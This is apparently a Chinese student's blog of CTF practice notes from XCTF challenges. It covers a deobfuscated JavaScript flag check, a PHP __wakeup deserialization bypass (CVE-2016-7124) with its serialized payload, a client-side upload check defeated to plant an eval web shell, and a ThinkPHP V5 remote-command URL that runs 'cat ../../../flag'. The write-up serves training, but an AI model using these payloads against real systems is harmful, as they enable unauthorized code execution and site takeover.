寒假CTF刷题笔记合集

发布于 2020-02-15  824 次阅读


好吧,寒假确实摸鱼摸太久了,实在有点颓。按最早的时间安排来说现在这个点应该已经在学校里了,嗐。最近几天也在努力调整自己的拖延症,现在把笔记补一下吧(捂脸

以下题目均来自xctf

NaNNaNNaNNaN-Batman

一堆有乱码的代码:

<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){	[0]);.splice(0,1)}}}	\'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=["	write(s[o%4]buttonif(e.ment';for(Y in $='	')with(_.split($[Y]))_=join(pop());eval(_)</script>

猜测可能是编码的问题导致了乱码,不过这个一坨屎一样的代码还是可以勉强审计一下:'_'是一个函数,最后又有一个eval来执行它,我们这里就将其改成alert,让其将源代码以正常的形式弹窗反馈,运行html文件,整理后的代码是这样的:

function $(){
	var e=document.getElementById("c").value;
	if(e.length==16)
		if(e.match(/^be0f23/)!=null)
			if(e.match(/233ac/)!=null)
				if(e.match(/e98aa$/)!=null)
					if(e.match(/c7be9/)!=null){
						var t=["fl","s_a","i","e}"];
						var n=["a","_h0l","n"];
						var r=["g{","e","_0"];
						var i=["it'","_","n"];
						var s=[t,n,r,i];
						for(var o=0;o<13;++o){
							document.write(s[o%4][0]);s[o%4].splice(0,1)}}}
							document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

最后审计这段代码,拼接一个字符串即可拿到flag(或者直接将最后一个if后一行的代码复制出来运行即可

unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

题目已经提示是反序列化了,但是反序列化后的函数会自动先执行__wakeup()里面的代码,直接退出程序。

这边就要用到一个新的漏洞了 (CVE-2016-7124)当成员属性数目大于实际数目时可绕过wakeup方法

这里我们先将xctf函数序列化,得到

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

将成员数1改为2,得到:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

传入即可获得flag

upload1

网安里非常经典的一个文件上传漏洞,不再赘述,这里的核心代码就是一个eval的shell,在上传的时候这里使用的是本地JS代码判断文件后缀,只需要进开发者模式强制把disabled的按钮属性改为enabled就行了,上传shell之后可以开中国菜刀可以手动扒站~~

Web_python_template_injection

python模板注入,有点点难,这个坑先留着

Web_php_unserialize

同上题,留坑

php_rce

ThinkPHP V5的漏洞,网上直接可以找到有关越权指令:

http://111.198.29.45:55483/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../flag

等风来,不如追风去。